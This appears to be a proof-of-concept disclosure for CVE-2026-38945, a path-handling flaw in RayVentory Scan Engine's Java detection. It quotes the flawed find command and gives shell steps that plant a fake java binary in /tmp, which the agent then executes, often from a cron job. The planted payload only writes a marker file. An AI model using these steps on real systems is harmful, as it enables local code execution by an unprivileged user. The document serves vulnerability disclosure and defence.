wise-security/cve-2026-38945CVE-2026-38945 の概念実証: RayVentory Scan Engine の Java 検出におけるパストラバーサルにより、ローカルの攻撃者が細工されたディレクトリ構造を介して任意のバイナリを実行可能。
rvia in Raynet executes a find command with improperly terminated search criteria to locate Java installations when the oracle option is invoked. Attackers could craft specific directory structures that satisfied the malformed search criteria, causing the agent to execute a malicious binary during the Java detection process.
/bin/sh -c "find / -not \( -path '/dev' -o -path '/etc' -o -path '/mnt' -o -path '/tmp' -o -path '/proc' \) \( -path '*/jdk/bin/java' -o -path '*/jdk/jre/bin/java' -o -path '*/jdk-*/bin/java' -o -path '*/jdk*/bin/java' -o -path '*/jdk*/jre/bin/java' \) \( -type f -o -type l \)"
This command should ignore Java binaries at /tmp (also at /dev, /etc, /mnt, and /proc, but we are interested in the example with /tmp since is world-writable).
Note that the exclusion of other potentially dangerous directories like
/homeis missing.
The problem arises in that the first part of the command which is intended to ignore specific directories is missing the character * at the end of these directories and the * character is being used at the beginning of the other directories intended to be searched.
This allows any user to tamper with the Java file executed during the Java detection process, as the oracle option is commonly ran as a cron job.
mkdir -p /tmp/jdk/bin
echo 'echo "rvia oracle was executed!" > /tmp/PoC' > /tmp/jdk/bin/java && chmod +rx /tmp/jdk/bin/java
This is because when using the oracle option "if the Java runtime path is not configured in the /opt/rvia/rvia.cfg file, RayVentory Scan Engine tries to look for it anyway any time it needs it." And at some point tries to get the version of the Java environment installed by executing java -version.